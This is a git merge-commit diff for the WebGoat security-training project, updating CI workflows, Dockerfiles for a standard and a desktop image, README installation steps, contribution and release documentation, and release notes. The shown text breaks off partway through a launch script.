Merge branch 'main' into test-semgrep-on-merge

2024-03-18 13:14:39 -06:00 · 2024-03-18 13:14:39 -06:00 · 297c6f49b5
commit 297c6f49b5
parent d2049a8fcc 62931a1836
530 changed files with 8686 additions and 5031 deletions
--- a/.dockerignore
+++ b/.dockerignore
@ -1,3 +1,4 @@
 **

 !/target
+!/config/desktop
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@ -1,7 +1,14 @@
 version: 2
 updates:
-  # Maintain dependencies for GitHub Actions
    -   package-ecosystem: "github-actions"
        directory: "/"
        schedule:
-      interval: "daily"
+            interval: "weekly"
+    -   package-ecosystem: "maven"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+    -   package-ecosystem: "docker"
+        directory: "/"
+        schedule:
+            interval: "weekly"
--- a/.github/workflows/branchbuild.txt
+++ b/.github/workflows/branchbuild.txt
@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+    push:
+      branches:
+        - "*"
+        - "!main"
+
+jobs:
+    branch-build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            matrix:
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
+                java-version: [ 17, 21 ]
+        steps:
+            -   uses: actions/checkout@v3
+            -   name: Set up JDK ${{ matrix.java-version }}
+                uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: ${{ matrix.java-version }}
+                    architecture: x64
+            -   name: Cache Maven packages
+                uses: actions/cache@v3.3.1
+                with:
+                    path: ~/.m2
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    restore-keys: ${{ runner.os }}-m2-
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify
+            -   name: "Set up QEMU"
+                if: runner.os == 'Linux'
+                uses: docker/setup-qemu-action@v2.2.0
+            -   name: "Set up Docker Buildx"
+                if: runner.os == 'Linux'
+                uses: docker/setup-buildx-action@v2
+            -   name: "Verify Docker WebGoat build"
+                if: runner.os == 'Linux'
+                uses: docker/build-push-action@v5.1.0
+                with:
+                    context: ./
+                    file: ./Dockerfile
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+            -   name: "Verify Docker WebGoat desktop build"
+                uses: docker/build-push-action@v5.1.0
+                if: runner.os == 'Linux'
+                with:
+                    context: ./
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@ -1,30 +1,17 @@
-name: "Build"
+name: "Main / Pull requests build"
 on:
    pull_request:
        paths-ignore:
            - '.txt'
            - 'LICENSE'
            - 'docs/**'
+        branches: [main]
    push:
        branches:
            - main
-      - develop
-      - release/*
-    tags-ignore:
-      - '*'
-    paths-ignore:
-      - '.txt'
-      - 'LICENSE'
-      - 'docs/**'

 jobs:
-  pr-build:
-    if: >
-      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
-        github.event.action == 'opened' ||
-        github.event.action == 'reopened' ||
-        github.event.action == 'synchronize' 
-      )
+    build:
        runs-on: ${{ matrix.os }}
        strategy:
            matrix:
@ -32,37 +19,16 @@ jobs:
        steps:
            -   uses: actions/checkout@v3
            -   name: Set up JDK 17
-        uses: actions/setup-java@v3
+                uses: actions/setup-java@v4
                with:
                    distribution: 'temurin'
                    java-version: 17
                    architecture: x64
            -   name: Cache Maven packages
-        uses: actions/cache@v3.2.3
+                uses: actions/cache@v4.0.0
                with:
                    path: ~/.m2
                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
                    restore-keys: ${{ runner.os }}-m2-
            -   name: Build with Maven
                run: mvn --no-transfer-progress verify
-
-  build:
-    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
-    runs-on: ubuntu-latest
-    name: "Branch build"
-    steps:
-        - uses: actions/checkout@v3
-        - name: set up JDK 17
-          uses: actions/setup-java@v3
-          with:
-              distribution: 'temurin'
-              java-version: 17
-              architecture: x64
-        - name: Cache Maven packages
-          uses: actions/cache@v3.2.3
-          with:
-              path: ~/.m2
-              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-              restore-keys: ubuntu-latest-m2-
-        - name: Test with Maven
-          run: mvn --no-transfer-progress verify
--- a/.github/workflows/pre-commit.yaml
+++ b/.github/workflows/pre-commit.yaml
@ -0,0 +1,29 @@
+name: Pre-commit check
+
+on:
+    pull_request:
+        branches: [main]
+    workflow_dispatch:
+
+permissions:
+    contents: read
+jobs:
+    pre-commit:
+        name: Pre-commit check
+        runs-on: ubuntu-latest
+        steps:
+            - name: Checkout git repository
+              uses: actions/checkout@v4
+            - name: Setup python
+              uses: actions/setup-python@v5
+              with:
+                    python-version: "3.9"
+            - uses: actions/setup-java@v4
+              with:
+                  distribution: 'temurin'
+                  java-version: '17'
+            - name: Pre-commit checks
+              uses: pre-commit/action@v3.0.0
+            - name: pre-commit-ci-lite
+              uses: pre-commit-ci/lite-action@v1.0.1
+              if: always()
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@ -8,24 +8,22 @@ jobs:
    if: github.repository == 'WebGoat/WebGoat'
    name: Release WebGoat
    runs-on: ubuntu-latest
+    permissions:
+        contents: write
    environment:
      name: release
    steps:
      - uses: actions/checkout@v3

-      - name: "Get tag name"
-        id: tag
-        uses: dawidd6/action-get-tag@v1
-
      - name: Set up JDK 17
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v4
        with:
-          distribution: 'zulu'
+          distribution: 'temurin'
          java-version: 17
          architecture: x64

      - name: Cache Maven packages
-        uses: actions/cache@v3.2.3
+        uses: actions/cache@v4.0.0
        with:
          path: ~/.m2
          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@ -33,8 +31,8 @@ jobs:

      - name: "Set labels for ${{ github.ref }}"
        run: |
-          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
+          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
+          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
          echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
      - name: Build with Maven
        run: |
@ -48,7 +46,7 @@ jobs:
          files: |
            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
          body: |
-            ## Version ${{ steps.tag.outputs.tag }}
+           ## Version ${{ github.ref_name }}

            ### New functionality

@ -58,7 +56,7 @@ jobs:

            - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)

-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}


            ## Contributors
@ -76,63 +74,76 @@ jobs:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v2.2.0
        with:
          platforms: all

      - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v2
+        uses: docker/setup-buildx-action@v3

      - name: "Login to dockerhub"
-        uses: docker/login-action@v2.1.0
+        uses: docker/login-action@v3.0.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

-      - name: "Build and push"
-        uses: docker/build-push-action@v3.2.0
+      - name: "Build and push WebGoat"
+        uses: docker/build-push-action@v5.1.0
        with:
          context: ./
          file: ./Dockerfile
          push: true
-          platforms: linux/amd64, linux/arm64, linux/arm/v7
+          platforms: linux/amd64, linux/arm64
          tags: |
            webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
            webgoat/webgoat:latest
          build-args: |
            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

-      - name: "Image digest"
-        run: echo ${{ steps.docker_build.outputs.digest }}
+      - name: "Build and push WebGoat desktop"
+        uses: docker/build-push-action@v5.1.0
+        with:
+          context: ./
+          file: ./Dockerfile_desktop
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat-desktop:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
  new_version:
-    permissions:
-      contents: write  # for Git to git push
    if: github.repository == 'WebGoat/WebGoat'
-    name: Update development version
+    name: Update to next SNAPSHOT version
    needs: [ release ]
    runs-on: ubuntu-latest
-    environment:
-      name: release
    steps:
      - uses: actions/checkout@v3
        with:
-          ref: develop
-          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
+          fetch-depth: 0

      - name: Set up JDK 17
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v4
        with:
+          distribution: 'temurin'
          java-version: 17
          architecture: x64

      - name: Set version to next snapshot
        run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit

-      - name: Commit pom.xml
-        run: |
-          git config user.name webgoat-github
-          git config user.email owasp.webgoat@gmail.com
-          find . -name 'pom.xml' | xargs git add
-          git commit -m "Updating to the new development version"
-          git push
+      - name: Push the changes to new branch
+        uses: devops-infra/action-commit-push@v0.9.2
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            add_timestamp: true
+            commit_message: "Updating to the new development version"
+            force: false
+
+      - name: Create PR
+        uses: devops-infra/action-pull-request@v0.5.5
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            title: ${{ github.event.commits[0].message }}
+            target_branch: main
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@ -2,14 +2,11 @@ name: "UI-Test"
 on:
    pull_request:
        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
            - 'LICENSE'
            - 'docs/**'
    push:
-#        tags-ignore:
-#            - '*'
+        tags-ignore:
+            - 'v*'
        paths-ignore:
            - '.txt'
            - '*.MD'
@ -26,21 +23,21 @@ jobs:
            # Uses an default action to checkout the code
            -   uses: actions/checkout@v3
            # Uses an action to add Python to the VM
-            - name: Setup Pyton
-              uses: actions/setup-python@v4
+            -   name: Setup Python
+                uses: actions/setup-python@v5
                with:
                    python-version: '3.7'
                    architecture: x64
            # Uses an action to add JDK 17 to the VM (and mvn?)
            -   name: set up JDK 17
-              uses: actions/setup-java@v3
+                uses: actions/setup-java@v4
                with:
                    distribution: 'temurin'
                    java-version: 17
                    architecture: x64
            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
            -   name: Cache Maven packages
-              uses: actions/cache@v3.2.3
+                uses: actions/cache@v4.0.0
                with:
                    path: ~/.m2
                    key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
@ -51,6 +48,8 @@ jobs:
                        robotframework
                        robotframework-SeleniumLibrary
                        webdriver-manager
+                        selenium==4.9.1
+                    # TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
            -   name: Run with Maven
                run: mvn --no-transfer-progress spring-boot:run &
            -   name: Wait to start
@ -62,7 +61,7 @@ jobs:
            # send report to forks only due to limits on permission tokens
            -   name: Send report to commit
                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-              uses: joonvena/robotframework-reporter-action@v2.1
+                uses: joonvena/robotframework-reporter-action@v2.2
                with:
                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
                    report_path: 'robotreport'
--- a/.github/workflows/welcome.yml
+++ b/.github/workflows/welcome.yml
@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'WebGoat/WebGoat'
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.3.0
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@ -0,0 +1,28 @@
+ci:
+  autofix_commit_msg: |
+    [pre-commit.ci] auto fixes from pre-commit.com hooks
+  autofix_prs: false # managed in the action step
+  autoupdate_branch: ""
+  autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
+  autoupdate_schedule: weekly
+  skip: []
+  submodules: false
+repos:
+  - repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v4.4.0
+    hooks:
+      - id: check-yaml
+      - id: end-of-file-fixer
+        exclude: ^(README.md|CREATE_RELEASE.md)
+      - id: trailing-whitespace
+  - repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
+    rev: v9.5.0
+    hooks:
+      - id: commitlint
+        stages: [commit-msg]
+  - repo: https://github.com/ejba/pre-commit-maven
+    rev: v0.3.4
+    hooks:
+      - id: maven
+        args: [ 'clean compile' ]
+      - id: maven-spotless-apply
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@ -3,6 +3,7 @@
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)

 This document describes how you can contribute to WebGoat. Please read it carefully.

@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change

 ### Write a good commit message

+* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
+
+  - fix:
+  - feat:
+  - build:
+  - chore:
+  - ci:
+  - docs:
+  - refactor:
+  - test:
+
+  Using this style of commits makes it possible to create our release notes automatically.
+
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)

 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
@ -86,7 +100,7 @@ For example: `Fix #545` or `Closes #10`

    ```bash
    $ git fetch upstream
-    $ git merge upstream/develop
+    $ git merge upstream/main
    ```

    See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
--- a/CREATE_RELEASE.md
+++ b/CREATE_RELEASE.md
@ -2,31 +2,20 @@

 ### Version numbers

-For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
-and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
-`v8.0.0` in the `pom.xml`
+For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
+and 2023.01 in the `pom.xml`.

 ### Release notes:

-Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
-committers.
-
-At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
+Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
+committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`

 ```
-git checkout develop
-git flow release start <version>
-git flow release publish
-
-<<Make changes if necessary>>
-<<Update RELEASE_NOTES.md>>
-
-git flow release finish <version>
-git push origin develop
-git push origin main
+mvn versions:set
+<< update release notes >>
+mvn verify
+git commit ....
+git tag v2023.01
 git push --tags
 ```

-Now Travis takes over and will create the release in Github and on Docker Hub.
-
-NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
--- a/21
+++ b/21
@ -1,8 +1,11 @@
-FROM docker.io/eclipse-temurin:17-jre-focal
+FROM docker.io/eclipse-temurin:21.0.1_12-jre
+LABEL NAME = "WebGoat: A deliberately insecure Web Application"
+LABEL maintainer = "WebGoat team"

-RUN useradd -ms /bin/bash webgoat
-RUN chgrp -R 0 /home/webgoat
-RUN chmod -R g=u /home/webgoat
+RUN \
+  useradd -ms /bin/bash webgoat && \
+  chgrp -R 0 /home/webgoat && \
+  chmod -R g=u /home/webgoat

 USER webgoat

@ -11,6 +14,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
 EXPOSE 8080
 EXPOSE 9090

+ENV TZ=Europe/Amsterdam
+
 WORKDIR /home/webgoat
 ENTRYPOINT [ "java", \
   "-Duser.home=/home/webgoat", \
@ -24,9 +29,7 @@ ENTRYPOINT [ "java", \
   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
   "-Drunning.in.docker=true", \
-   "-Dwebgoat.host=0.0.0.0", \
-   "-Dwebwolf.host=0.0.0.0", \
-   "-Dwebgoat.port=8080", \
-   "-Dwebwolf.port=9090", \
-   "-jar", "webgoat.jar" ]
+   "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
--- a/34
+++ b/34
@ -0,0 +1,34 @@
+FROM lscr.io/linuxserver/webtop:ubuntu-xfce
+LABEL NAME = "WebGoat: A deliberately insecure Web Application"
+LABEL maintainer = "WebGoat team"
+
+WORKDIR /config
+
+COPY target/webgoat-*.jar /config/webgoat.jar
+COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
+COPY config/desktop/start_zap.sh /config/start_zap.sh
+COPY config/desktop/WebGoat.txt /config/Desktop/
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
+ tar zfxv ZAP_2.12.0_Linux.tar.gz && \
+ rm -rf ZAP_2.12.0_Linux.tar.gz && \
+ curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ chmod +x /config/start_webgoat.sh && \
+ chmod +x /config/start_zap.sh && \
+ apt-get update &&  \
+ apt-get --yes install vim nano && \
+ echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
+ echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
+
+
+ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
+
+WORKDIR /config/Desktop
--- a/FAQ.md
+++ b/FAQ.md
@ -0,0 +1,7 @@
+# FAQ for development
+
+## Introduction
+
+### Integration tests fail
+
+Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
--- a/README.md
+++ b/README.md
@ -1,4 +1,4 @@
-# WebGoat 8: A deliberately insecure Web Application
+# WebGoat: A deliberately insecure Web Application

 Adding this line to test a merge for the semgrep Action running vanilla in Actions

@ -8,6 +8,7 @@ Adding this line to test a merge for the semgrep Action running vanilla in Actio
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)

 # Introduction

@ -29,51 +30,68 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*

+![WebGoat](docs/images/webgoat.png)
+
 # Installation instructions:

 For more details check [the Contribution guide](/CONTRIBUTING.md)

 ## 1. Run using Docker

+Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).

-The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
-
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
 ```

-If you want to reuse the container, give it a name:
+For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
+E.g.

 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
 ```

-As long as you don't remove the container you can use:
+If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
+you can use custom host entries. For example:

 ```shell
-docker start webgoat
+127.0.0.1 www.webgoat.local www.webwolf.local
 ```

-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
+Then you can run the container with:

-**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
+```

-## 2. Standalone
+Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
+
+## 2. Run using Docker with complete Linux Desktop
+
+Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
+
+```shell
+docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
+```
+
+## 3. Standalone

 Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)

 ```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+export TZ=Europe/Amsterdam # or your timezone
+java -Dfile.encoding=UTF-8 -jar webgoat-2023.5.jar
 ```

 Click the link in the log to start WebGoat.

-## 3. Run from the sources
+## 4. Run from the sources

 ### Prerequisites:

-* Java 17
+* Java 17 or 21
 * Your favorite IDE
 * Git, or Git support in your IDE

@ -98,7 +116,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```

-Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
+Now we are ready to run the project. WebGoat is using Spring Boot.

 ```Shell
 # On Linux/Mac:
@ -125,14 +143,15 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
 For instance running as a jar on a Linux/macOS it will look like this:

 ```Shell
+export TZ=Europe/Amsterdam # or your timezone
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
+java -jar target/webgoat-2023.6-SNAPSHOT.jar
 ```

 Or in a docker run it would (once this version is pushed into docker hub) look like this:

 ```Shell
-docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```

--- a/README_I18N.md
+++ b/README_I18N.md
@ -17,18 +17,18 @@ The following steps are required when you want to add a new language
 1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
      2.
-3. Add a flag image to src/main/resources/webgoat/static/css/img
+2. Add a flag image to src/main/resources/webgoat/static/css/img
   1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
+3. Add a welcome page to the introduction lesson
   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
+4. Translate the main labels
   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
   2. Translate the label values
-6. Optionally translate lessons by
+5. Optionally translate lessons by
   1. Adding lang specifc adoc files in documentation folder of the lesson
   2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
+6. Run mvn clean to see if the LabelAndHintIntegration test passes
+7. Run WebGoat and verify that your own language and the other languages work as expected

 If you only want to translate more for a certain language, you only need to do step 4-8
--- a/RELEASE_NOTES.md
+++ b/RELEASE_NOTES.md
@ -1,5 +1,73 @@
 # WebGoat release notes

+## Version 2023.8
+
+### 🚀 New functionality
+
+- Consistent environment values and url references (#1677)
+- Show directly requested file in requests overview
+- Show creating time in file upload overview
+
+### 🐞 Bug fixes
+
+- Fix startup message (#1687)
+- Fix/state of software supply chain links (#1683)
+- Fix WebWolf UI (#1686)
+
+### 🔄 Technical tasks
+
+- bump actions/setup-java from 3 to 4 (#1690)
+- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
+- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
+
+## Version 2023.5
+
+### New functionality
+
+- Implement JWT jku example (#1552)
+- Java 21 initial support (#1622)
+- improve MFAC lesson hint texts for a better user experience (#1424)
+- upgrade to Spring Boot version 3 (#1477)
+
+### Bug fixes
+
+- typo in WebGoad.txt (#1667)
+- search box moved and jwt encode/decode with little delay (#1664)
+- skip validation for JWT (#1663)
+- fixed issue in JWT test tool and added robot test (#1658)
+- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
+- fix servers id (#1619)
+- potential NPE in the stored XSS assignment
+- crypto basics broken links
+- fixes the default change in trailing slash matching and address the affected assignments
+- hint that was breaking the template, causing hints from different assignments to mix (#1424)
+- HijackSession lesson template deprecated Tymeleaf attribute
+- Fix NPE in IDOR lesson
+- Add new assignment IT tests
+- XSS mitigation
+- Stored Cross-Site Scripting Lesson
+- Add Assignment7 Tests
+- Fix IDOR lesson
+- remove steps from release script (#1509)
+- robotframework fails due to updated dependencies (#1508)
+- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
+- Fix typo of HijackSession_content0.adoc
+- Restrict SSRF Regexes
+- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController
+
+## Version 2023.4
+
+### New functionality
+
+- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
+- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
+
+### Bug fixes
+
+- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
+- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
+- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
+
 ## Version 2023.3

 With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
@ -147,4 +215,3 @@ Special thanks to the following contributors providing us with a pull request:
 And everyone who provided feedback through Github.

 Team WebGoat
-
--- a/config/desktop/WebGoat.txt
+++ b/config/desktop/WebGoat.txt
@ -0,0 +1,10 @@
+** Welcome to WebGoat desktop image
+
+With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
+You can start WebGoat and ZAP by opening a terminal and type:
+
+./start_webgoat.sh
+./start_zap.sh
+
+Happy hacking,
+Team WebGoat
--- a/config/desktop/start_webgoat.sh
+++ b/config/desktop/start_webgoat.sh
@ -0,0 +1,17 @@
+#!/bin/sh
+
+/config/jdk-17.0.6+10-jre/bin/java \
+  -Duser.home=/config \
+  -Dfile.encoding=UTF-8 \
+  -DTZ=Europe/Amsterdam \
+  --add-opens java.base/java.lang=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+  --add-opens java.base/java.text=ALL-UNNAMED \
+  --add-opens java.desktop/java.beans=ALL-UNNAMED \
+  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
